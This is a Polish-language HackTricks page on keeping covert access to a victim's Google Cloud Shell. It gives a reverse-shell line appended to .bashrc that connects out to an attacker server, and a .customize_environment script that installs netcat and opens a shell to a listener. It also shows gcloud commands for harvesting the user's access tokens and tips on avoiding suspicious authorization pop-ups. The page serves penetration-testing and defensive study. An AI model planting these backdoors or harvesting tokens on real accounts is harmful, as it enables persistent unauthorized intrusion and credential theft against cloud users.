GCP - Cloud Shell Persistence

Wesprzyj HackTricks

Cloud Shell

Aby uzyskać więcej informacji, sprawdź:

GCP - Cloud Shell Enum

Trwały Tylny Drzwi

Google Cloud Shell zapewnia dostęp do wiersza poleceń do zasobów chmurowych bezpośrednio z przeglądarki bez dodatkowych kosztów.

Możesz uzyskać dostęp do Cloud Shell Google'a z konsoli internetowej lub uruchamiając gcloud cloud-shell ssh.

Ta konsola ma kilka interesujących możliwości dla atakujących:

  1. Każdy użytkownik Google z dostępem do Google Cloud ma dostęp do w pełni uwierzytelnionej instancji Cloud Shell (Konta usług mogą, nawet będąc właścicielami organizacji).

  2. Wspomniana instancja zachowa swoją katalog domowy przez co najmniej 120 dni, jeśli nie wystąpi żadna aktywność.

  3. Nie ma możliwości dla organizacji monitorowania aktywności tej instancji.

Oznacza to w zasadzie, że atakujący może umieścić tylnie drzwi w katalogu domowym użytkownika i dopóki użytkownik łączy się z GC Shell co najmniej co 120 dni, tylnie drzwi przetrwają, a atakujący otrzyma powłokę za każdym razem, gdy zostanie uruchomiona, po prostu wykonując:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

W folderze domowym istnieje inny plik o nazwie .customize_environment, który, jeśli istnieje, będzie wykonywany za każdym razem, gdy użytkownik uzyskuje dostęp do cloud shell (tak jak w poprzedniej technice). Wystarczy wstawić poprzednie tylne drzwi lub podobne, aby utrzymać trwałość tak długo, jak użytkownik "często" korzysta z cloud shell:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Ważne jest zauważenie, że za pierwszym razem, gdy wykonywane jest działanie wymagające uwierzytelnienia, w przeglądarce użytkownika pojawia się okno autoryzacji. To okno musi zostać zaakceptowane, zanim polecenie zostanie wykonane. Jeśli pojawi się nieoczekiwane okno, może to wzbudzić podejrzenia i potencjalnie narazić używaną metodę trwałości na ryzyko.

To jest okno pop-up po wykonaniu polecenia gcloud projects list z powłoki chmury (jako atakujący) widzianej w sesji użytkownika przeglądarki:

Jednakże, jeśli użytkownik aktywnie korzystał z powłoki chmury, okno pop-up nie pojawi się i można zbierać tokeny użytkownika za pomocą:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Jak jest nawiązywane połączenie SSH

W zasadzie używane są te 3 wywołania API:

Ale możesz znaleźć więcej informacji pod adresem https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Referencje

Last updated